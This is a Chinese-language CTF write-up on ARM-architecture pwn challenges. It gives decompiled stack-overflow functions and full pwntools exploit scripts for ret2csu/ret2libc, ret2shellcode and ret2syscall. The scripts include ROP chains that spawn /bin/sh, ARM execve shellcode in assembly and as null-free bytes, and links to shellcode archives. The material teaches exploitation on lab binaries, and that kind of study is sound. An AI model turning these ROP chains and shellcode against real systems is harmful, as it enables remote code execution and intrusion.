PWN异架构学习-ARM架构题型

前言

学习了一下国资师傅的pwn异架构教程,有很多异架构的题,这里自己做一遍复现一下

ret2libc

这些题主要是为了回顾x86架构下的利用方法和ARM架构的结合下的使用。

解题过程

通过分析发现存在栈溢出漏洞

1
2
3
4
5
6
7
8
9
10
11
int dofunc()
{
int buf[3]; // [sp+0h] [bp-Ch] BYREF

buf[0] = 0;
buf[1] = 0;
write(1, "input:", 6u);
read(0, buf, 0x100u);
write(1, "byebye", 6u);
return 0;
}

exp1

国资师傅的利用方法是ret2csu去泄露libc然后执行system(“/bin/sh”)。由于ARM架构是通过POP PC来返回的,一般arm架构都是通过ret2csu(ret2csu用的多)去解,下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
# --------------------------exploit--------------------------
def exploit():
addr_1 = elf.bss()+0x100
leak_func_name = 'read'
leak_func_got = elf.got[leak_func_name]
read_got = leak_func_got
write_got = elf.got['write']
deadbeef = 0xdeadbeef
rep_func = elf.symbols['main']
ru("input:")
MOV_R2_R9 = 0x000104E0
POP_R4_R10_PC = 0x00010500
payload = p32(deadbeef)*3 + p32(POP_R4_R10_PC)

r4 = 0
r5 = write_got
r6 = 1
r7 = 1
r8 = leak_func_got
r9 = 4
r10 = deadbeef
pc = MOV_R2_R9
payload += p32(r4) + p32(r5)
payload += p32(r6) + p32(r7)
payload += p32(r8) + p32(r9)
payload += p32(r10) + p32(pc)


r4 = 0
r5 = read_got
r6 = 1
r7 = 0
r8 = elf.bss()+0x100
r9 = 0x10
r10 = deadbeef
pc = MOV_R2_R9
payload += p32(r4) + p32(r5)
payload += p32(r6) + p32(r7)
payload += p32(r8) + p32(r9)
payload += p32(r10) + p32(pc)


r4 = deadbeef
r5 = deadbeef
r6 = deadbeef
r7 = deadbeef
r8 = deadbeef
r9 = deadbeef
r10 = deadbeef
pc = rep_func
payload += p32(r4) + p32(r5)
payload += p32(r6) + p32(r7)
payload += p32(r8) + p32(r9)
payload += p32(r10) + p32(pc)



s(payload)
ru('byebye')

leak_func_addr = u32(r(8))
print("leak_func_addr is ",hex(leak_func_addr))
libc_addr = leak_func_addr-libc.symbols["read"]
system_addr= libc_addr +libc.symbols["system"]
binsh_addr= libc_addr +next(libc.search(b"/bin/sh\x00"))

addr_name_list = ['libc','system', 'binsh']
for i in addr_name_list:
exec("print('{}_addr is :',hex({}_addr))".format(i, i))


s(p64(system_addr)+b"/bin/sh\x00")
ru("input:")
payload = p32(deadbeef)*3 + p32(POP_R4_R10_PC)
r4 = deadbeef
r5 = elf.bss()+0x100
r6 = deadbeef
r7 = binsh_addr
r8 = deadbeef
r9 = deadbeef
r10 = deadbeef
pc = MOV_R2_R9
payload += p32(r4) + p32(r5)
payload += p32(r6) + p32(r7)
payload += p32(r8) + p32(r9)
payload += p32(r10) + p32(pc)
s(payload)

exp2

貌似qemu-user模式无法开启PIE,NX这些保护(如果有师傅知道如何开启,可以教教我),于是我们可以通过其他shellcode去利用,顺便学习一下shellcode的ARM架构版,下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

# --------------------------exploit--------------------------
def exploit():
pop_r3_pc = 0x000102e8
blx_r3 = 0x000104f4
read_addr = 0x001045C
deadbeef = 0xdeadbeef
bss_addr = elf.bss()+0x100
ru("input:")
payload = p32(bss_addr)*3 + p32(pop_r3_pc)+p32(bss_addr)+p32(read_addr)
s(payload)
ru('byebye')

shellcode='''
add r0,pc,#12
mov r1,#0
mov r2,#0
mov r7,#11
svc 0
.ascii "/bin/sh\\0"
'''
payload=p32(pop_r3_pc)+p32(bss_addr)+p32(blx_r3)+asm(shellcode)
sl(payload)

这里的svc就是x86里面的syscall也就是系统调用,其实可以发现ARM架构主要还是利用POP{R* …… PC}这种类型的gadget来进行ROP。

ret2shellcode

解题过程

可以发现存在栈溢出漏洞,并且会覆盖部分BSS段内容,并且赋予了可执行权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int dofunc()
{
char buf[256]; // [sp+0h] [bp-11Ch] BYREF
unsigned int addr; // [sp+100h] [bp-1Ch]
int addr_4; // [sp+104h] [bp-18h]
size_t len; // [sp+10Ch] [bp-10h]

len = getpagesize();
addr = (unsigned int)buf2 & 0xFFFFF000;
addr_4 = (int)buf2 >> 31;
mprotect((void *)((unsigned int)buf2 & 0xFFFFF000), len, 7);
puts("input:");
read(0, buf, 512u);
strncpy(buf2, buf, 0x64u);
printf("bye bye ~");
return 0;

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def exploit():
bss_addr = 0x21040
dofuunc = 0x0104FC
#shellcode=b'\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78'
shellcode = b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x1a\x0a\x1c\x42\x72\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x59\xc0\x46"
payload=shellcode.ljust(0x11C,b"\xff")+p32(bss_addr)

# for i in range(len(payload)) :
# if payload[i] == 0 :
# zero_list.append(i)
# payload = payload[0:i] + b'\x0a' + payload[i+1:]

# zero_list = zero_list[::-1]

# for i in zero_list :
# payload = payload[0:i]
sla("input:\n",payload)

tips

这里本来应该算是一个简单的shellcode执行就行,但是由于存在零截断问题,卡住了,本来准备用覆写去解决,但是发现并不行,后来在其他师傅的帮助下,知道了构造无零字节的shellcode的方法(上课没上的原因)

这里贴几个shellcode的生成网站

https://www.exploit-db.com/shellcodes

http://shell-storm.org/shellcode/index.html

https://xz.aliyun.com/t/4098#toc-0

ret2syscall

解题过程

发现存在栈溢出漏洞

1
2
3
4
5
6
7
8
9
10
11
int dofunc()
{
int v1[3]; // [sp+0h] [bp-Ch] BYREF

v1[0] = 0;
v1[1] = 0;
write(1, "input:", 6);
read(0, v1, 0x100u);
puts(v1);
return 0;
}

exp

因为是静态编译,存在很多的gadget,也就是ROP的思路了,控制r0-r2和r7达到getshell的情况,中间有个小插曲,发现执行完/bin/sh后没有getshell,调试后才知道是因为/bin/sh后要有个零字节截断才行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def exploit():
pop_r0_pc = 0x0005f15c
pop_r1_pc = 0x0005f244
pop_r7_pc = 0x00027e88
pop_r3_pc =0x00010160
#pop {r1, r2, lr} ; mul r3, r2, r0 ; sub r1, r1, r3 ; bx lr
pop_r1_r2_lr_bx_lr = 0x0005ee48
#svc #0 ; pop {r4, r7, pc}
svc_0 = 0x00057cb8
# : pop {r4, lr} ; bx r3
pop_r4_lr_bx_r3 = 0x0001d094
read_addr = 0x27FD4
bss_addr = 0x008AE8E
deadbeef = 0xdeadbeef
dofunc = 0x010524
pl = b"A"*0xC+p32(pop_r1_r2_lr_bx_lr)+p32(0)+p32(0x100)+p32(pop_r0_pc)+p32(0)+p32(pop_r1_pc)+p32(bss_addr)+p32(pop_r3_pc)+p32(read_addr)+p32(pop_r4_lr_bx_r3)+p32(1)+p32(dofunc)
sla("input:",pl)
sla("AAAAAAAAAA","/bin/sh\x00")
pl = b"A"*0xc+p32(pop_r3_pc)+p32(0)+p32(pop_r1_r2_lr_bx_lr)+p32(0)*2+p32(pop_r0_pc)+p32(bss_addr)+p32(pop_r7_pc)+p32(11)+p32(svc_0)+p32(0x10D78)*3
sa("input:",pl)